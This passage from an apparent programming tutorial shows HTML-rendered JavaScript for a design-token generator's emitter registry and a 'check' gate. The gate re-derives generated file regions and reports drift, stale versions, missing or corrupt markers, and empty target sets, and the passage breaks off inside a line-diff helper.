&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EMITTERS &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;css-vars&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: cssVars, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;python-dict&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: pythonDict };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Same inputs, same bytes; that is what lets `check` re-derive what should be&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// on disk.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; emitBody&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens, emitter, params &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {}) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; fn &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EMITTERS[emitter];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;fn) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; EmitError&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      `unknown emitter &quot;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;emitter&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot; (expected one of: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;Object&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EMITTERS&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;})`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; fn&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens, params);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The gate: re-derive and compare&lt;/h2&gt;
&lt;p&gt;Now the part that earns the whole design. &lt;code&gt;check&lt;/code&gt; regenerates what each region should contain and compares it to what’s on disk, and it has to fail on more than the obvious case. Save this as &lt;code&gt;check.mjs&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { existsSync, readFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { join } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:path&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { emitBody } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./emit.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { findRegion, RegionError } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./region.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EXPLAIN &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ok: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;in sync&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  drift: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;region content differs from what the tokens produce&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &apos;stale-version&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;values are correct but the region records an older release&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  missing: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;file has no region; the generated block was removed&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  absent: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;declared file does not exist at this path&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  corrupt: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;region markers are malformed&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; checkTarget&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target, root, tokens, version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; path &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, target.path);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;existsSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { target, path, status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;absent&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; text &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(path, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  try&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    found &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; findRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text, target.region, target.syntax);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (err) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (err &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;instanceof&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegionError&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { target, path, status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;corrupt&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, detail: err.message };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    throw&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; err;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;found) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { target, path, status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;missing&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; expected &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; emitBody&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(tokens, target.emitter, target.params).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; actual &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; found.body.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (expected &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; actual) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { target, path, status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;drift&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, diff: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;lineDiff&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(expected, actual) };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // The values match, but the region must also record the release it belongs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;  // to. Skip this and the version in the marker is decoration.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (found.version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { target, path, status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;stale-version&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, writtenBy: found.version };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { target, path, status: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ok&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, writtenBy: found.version };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; checkAll&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ tokens, targets, root, version }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; selected &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; targets.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((t) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; existsSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, t.path)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; selected.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((t) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; checkTarget&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(t, root, tokens, version));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; failures &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.status &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;ok&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    results,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    failures,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // A run that resolved ZERO targets is itself a failure. A glob that&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // quietly matches nothing must go red; that is how a gate turns decorative.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    empty: selected.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ok: selected.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; failures.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Elide the common prefix and suffix so a one-token change reads as one line.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; lineDiff&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(expected, actual) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; a &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; expected.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; actual.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; head &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  while&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (head &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; a.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; head &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; b.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; a[head] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; b[head]) head &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tail &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
